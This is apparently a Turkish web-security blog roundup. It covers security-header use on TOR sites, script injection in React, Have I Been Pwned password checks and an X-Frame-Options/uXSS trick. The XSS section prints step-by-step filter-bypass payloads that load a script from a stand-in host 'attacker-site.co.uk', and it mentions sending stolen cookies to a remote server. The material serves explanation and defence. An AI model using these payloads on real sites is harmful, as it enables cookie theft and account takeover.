TOR, React, XSS ve CORS ile Güvenli Bir Hafta
TOR ağındaki sitelerde web güvenliği ne durumda? ReactJS ile Script Injection'a nasıl mahal verebilirsiniz? Haveibeenpwned'ın password kısmını kullandınız mı? XFO header'ını gerçekten her yerde kullanmalı mısınız? CORS ile CSRF koruması sağlayabilir misiniz?
TOR Siteleri Ne Kadar Güvenli?
TOR, The Onion Router, bilindiği üzere kullanıcı trafiğini ara bağlantılar üzerinden aktararak anonimlik sağlayan bir hizmet.
TOR network’ü hedef siteye olan erişimi anonimize etmeyi vadediyor. Hedef siteye kendisi üzerinden ulaştığımız TOR çıkış noktası bir problem, fakat bu TOR 'un güvenliği bağlantı (TLS) kullanılarak tolore edilebilen yumuşak karnı. Peki hedef sitedeki güvenlik zafiyetleri? TOR network’ü ile bağlandığınız sitedeki bir güvenlik zafiyeti hala gizliliğinizi ve güvenliğinizi tehdit edebilir.
https://joshrendek.com/2017/07/security-and-software-of-hosts-on-the-tor-network/
Rendek, The Hidden Wiki indexi üzerinden yaptığı taramada 107 bin 67 host tarıyor. TOR network’ünde mirrorları bulunan Facebook, Reddit Blockchain siteleri gibi örneklerin ise ölçeklenebilirlik sorunları nedeniyle araştırmaya dahil edilmediği ise daha başta vurgulanan hususlardan.
Web güvenliği perspektifinden araştırmanın en ilgi çekici yanı güvenlik headerlarının kullanım oranlarının düşük olması. Özellikle de HSTS, HPKP gibi güvenli bir bağlantıyı tahkim eden güvenlik headerlarının kullanım oranları çok düşük. (HSTS: 0.11%, HPKP: 0.01%) HPKP ve HSTS headerları ile igili ayrıntılı bilgiyi Türkiye'de Güvenlik Headerlarının Kullanımı başlıklı yazımızda bulabilirsiniz.
Web dünyasında görece yeni olmasına rağmen en yüksek kullanım oranına sahip header ise Content-Security-Policy, X-XSS-Protection headerı ve Subresource Integrity checki ise hiç kullanılmayan teknolojiler.
TOR'da hizmet veren siteler kullandıkları teknoloji ve sürümlerine dair de pek çok bilgi ifşa ediyor. Örneğin Nginx web serverların TOR sitelerinde açık ara en fazla kullanılan web server olduğu öne çıkan hususlardan. Sunucu bilgileri ile ilgili olarak ilgi çekici bir bilgi de IIS (5.0/6.0) ve Apache (1.3) sunucuların güncel olmayan ve zafiyet içeren sürümlerinin yaygın olarak kullanıldığı. (OpenSSL (1.0.1e) ve Apache (2.4.6))
Güvenlik ya da gizlilik, ya da her ikisi birden. Bu amacı tek başına bir ürünle gerçekleştirmek mümkün değil. Bu araştırma vasıtası ile tekrar hatırlamamız gereken gerçek ise güvenliğin bir ürün değil bir süreç olduğu gerçeği.
React.JS 'de Script Injection Zafiyet İstismarı
React.JS, UI geliştirmelerinde kullanılan popüler bir Javascript kütüphanesi. Vaad ettiği işi hakkıyla yerine getiren güvenli bir tasarıma sahip olsa da, tüm iş yükü Javascript tarafından üstlenilen bu kütüphane elbette ki XSS saldırılarından beri değil! Özellikle de konu kullanıcıdan sağlanan girdiler ile React’ın createElement() gibi fonksiyonları kullanılarak React bileşenleri oluşturmak, kullanıcıdan sağlanan girdiler ile linklerin href attributeları oluşturmak ya da kullanıcıdan alınan girdinin parametre olarak eval fonksiyonuna atanması gibi script injeksiyon ile sonuçlanacak kötü programlama örneklerine geldiğinde.
Yukarıda özetlenen bu kötü programlama örneklerini ayrıntıları ile incelemek isterseniz Bernhard Mueller tarafından kaleme alınan Exploiting Script Injection Flaws in ReactJS Apps yazısına göz atmanızı öneririz.
Nokta Karakterini Kullanmadan XSS Zafiyeti Exploit Edebilir misiniz?
Web sitelerine script enjekte edildiği PoC olarak ekrana alert fonksiyonu ile 1 uyarısı verdirmek, işin en kolay kısmı.
On yıllardır istemci taraflı güvenliğin bir numaralı gündem maddesi olan XSS ile başka neler yapabilirsiniz?
Örneğin DOM'un Cookie attribue'u ile cookie değerine erişip, onu dinlemede olduğunuz uzak bir sunucuya gönderebilirsiniz. (Evet evet biliyoruz, bunun için httpOnly set edilmemiş olmalı :) )
Hedef sitenin contextinde script kodları çalıştırabileceğimiz için DOM'un tüm nesne ve metodlarına erişebiliriz.
DOM'un bir API olduğunu biliyoruz. Peki bu nesnenin özellik ve olaylarına nasıl erişebileceğiz. Elbette bunun için "." (nokta) karakterini kullanmamız gerekiyor. Peki ya bunu farkeden geliştirici eğer "." (nokta) karakterini karalisteye almış ise?..
Bu konudaki sihirli çözümü Rob Brown'un bir pentest macerasını anlattığı blog postundan sizin için alıntılıyoruz.
Brown POST ve Query string ile gönderdiği datanın div içerisine çıktılandığını farkediyor:
example.php?monkey=banana
<div>
monkey => banana
</div>
example.php?<script>alert(1)</script>
<div>
<script>alert(1)</script>
</div>
Şimdi gelelim, işin en mühim kısmına…
example.php?<script>alert(document.cookie)</script>
<div>
<script>alert(document_cookie)</script>
</div>
Sistemde "." (nokta) karakteri alt tire (_) olarak replace ediliyor.
Brown çözüm olarak script dosyasını kendi domaini üzerinden yükletmeyi deniyor. (Evet biliyoruz, CSP ile engellenebilir :) )
example.php?<script src="//attacker-site.co.uk/sc.js"></script>
<div>
<script_src="//attacker-site_co_uk/sc_js"></script>
</div>
Anlaşılan o ki tüm girdi içerisinde replacement işlemi yapılıyor.
Hızlı bir Googling'den sonra aradığı cevabı bulan Brown, %0C (line feed karakterinin URL encode hali)'i deneyerek öncelikle boşluğu elimine ediyor:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>
Noktaları ne yapacağız? Brown bu noktada HTML encode 'u kullanıyor. Bilindiği üzere browserlar HTML atribute değerlerini kullanmadan önce HTML decode yöntemini kullanıyor. Brown bu bilgiden hareketle aşağıdaki payload'u kullanıyor:
example.php?<script%0Csrc="//attacker-site.co.uk/sc.js"></script>
Payload'a dikkat edilirse URL kontekstinde meta anlamına sahip, yani özel değere sahip, &, # ve ; karakterleri mevcut. Bunların URL kontekstindeki özel anlamıyla değil, literal karakterlar olarak yorumlanması için, Brown URL encode yöntemine başvuruyor ve payload aşağıdaki hali alıyor:
example.php?<script%0Csrc="//attacker-site%26%2346%3bco%26%2346%3buk/sc%26%2346%3bjs"></script>
Kaynak: XSS Without Dots
Parolam güvenli mi?
Troy Hunt'ın Have I Been Pwned servisi uzunca bir zamandır kitlesel ifşalar arasında hesaplarının olup olmadığını merak eden kullanıcılara hizmet sağlıyor. Bu sayede kullanıcılar eposta adresleri veya kullanıcı adları ile arama yaparak ifşa olan listelerde hesaplarının olup olmadığını sorgulayabiliyorlar.
Oysa madalyonun bir de diğer yüzü var. Bu kitlesel ifşalarda ele geçirilen parolalar sözlük saldırılarında (dictionary attack) kullanılabiliyor. Kaba kuvvet (brute force) saldırılarında rastgele karakter setlerinin denenerek parola kırılmasına karşın, sözlük saldırılarında insan faktörü devreye giriyor ve parolalar kullanılma sıklıklarına göre sıralanarak, en sık kullanılanından en az kullanılana kadar denenebiliyor.
Bu durumda yaygın ifşalarda hesabınız ya da kullandığınız servis doğrudan etkilenmemiş olsa dahi, bu hesaplarda kullanılan parolalardan hareketle bir saldırgan, şayet sizin parolanız da, kullanılan parolalar içerisinde ise sözlük saldırı neticesinde hesabınızı ele geçirebilir. Önemli not. Kullandığınız servisin bu tarz sözlük ve kaba kuvvet saldırılarına karşı aldığı tedbirler de elbette önemli.
Troy Hunt'un Have I Been Pwned'a eklediği yeni özellik sayesinde parolanızın da ifşa olan hesaplardan biri tarafından kullanılıp kullanılmadığını, dolayısıyla parolanızın bir sözlük saldırısı karşısındaki direncini görebilirsiniz.
Elbette benzersiz ve güçlü olan parolanızı böylesi bir amaçla dahi olsa üçüncü taraflar ile paylaşmamanızı şiddetle öneriyoruz. Ancak böylesi bir listeyi edinip, denemeyi offline olarak ve kendi sisteminiz üzerinde yapabilirsiniz.
XFO (X-Frame-Options) Tüm HTTP Yanıtlarında Set Edilmeli mi?
XFO, X-Frame-Options, güvenlik headerı bilindiği üzere bir web sitesinin iframe içerisinde yüklenip yüklenemeyeceğini kontrol edebildiğimiz bir header.
XFO sayesinde, sadece aynı origindeki sitelerin bizi iframe içerisinde yüklemesini kontrol edebildiğimiz gibi, sadece belirli tarayıcılarda geçerli ALLOW-FROM URI seçeneği sayesinde de bazı URL'leri whitelist edebiliriz.
XFO sayesinde başta Clickjacking olmak üzere UI redressing, browserların origin inheritance konusundaki davranışları, CORS null origin atakları gibi pek çok saldırının önünü alabilmek mümkün. Content-Security-Policy frame-ancestors talimatı ile de browsera bu talimatı verebilmek, üstelik ALLOW-FROM parametresindeki tek bir URL'i whitelist etme kıstına da mahkum olmadan, mümkün.
Peki XFO headerını her sayfanın responsunda set etmek gerekli mi? Özellikle de söz konusu olan 404 sayfaları ve favicon.ico isteklerine verilen yanıtlar ise?
Browser güvenliği üzerine araştırmalar yapan Abdulrahman Al-Qabandi en son yayınladığı yazısında bu soruya kendi zaviyesinden cevap veriyor: uXSS, yani universal XSS.
Universal XSS, browserın kendisindeki bir zafiyetten kaynaklanan ve farklı origindeki sitelerin DOM'una erişebilmemizi sağlayan bir XSS türü.
Al-Qabandi'nin yazıda aktardığına göre, raporlamadığı bir zafiyet nedeniyle yazıda ayrıntıları paylaşılan yöntemi kullanabildi. Raporlamama gerekçesini ise yine yazıda, zafiyetin istismar için çok fazla kullanıcı davranışına gerek duyması ve "beklendiği gibi çalıştığını" düşünmesi olarak açıklıyor.
Chrome browserda Developer Tools'u açıp console sekmesine girdiğinizde, web sayfasında yüklü bulunan tüm originler bir dropdown içerisinde listelenecek:
Şu an açık olan domain (örneğimizde localhost) top olarak gözüküyor. Esas domain dışındaki bir kontekste geçtiğinizde (örneğimizde top dışındaki bir kontekste), dropdown'un renginin kırmızıya döndüğü görülüyor:
Bu işlemleri yapması için kullanıcıyı ikna etmek oldukça zor. Fakat bir iframe üzerinde, Inpect Element seçeneği tıklandığı zaman, console açılıyor ve kontekst olarak iframe'in kendisi seçiliyor. Elbette rengin kırmızı olduğu unutulmamalı. Iframe 'in id değeri de "top" olarak verildiği takdirde saldırgan, hedefteki kullanıcıyı kandırabiliyor.
İncele dedikten hemen sonra:
Örnekte, kullanıcıyı console üzerinden ve dolayısıyla dropdown'da seçili durumda olan kontekst üzerinde JS kodu çalıştırması için ikna eden yazar, hedef domainde uXSS'i exploit ediyor.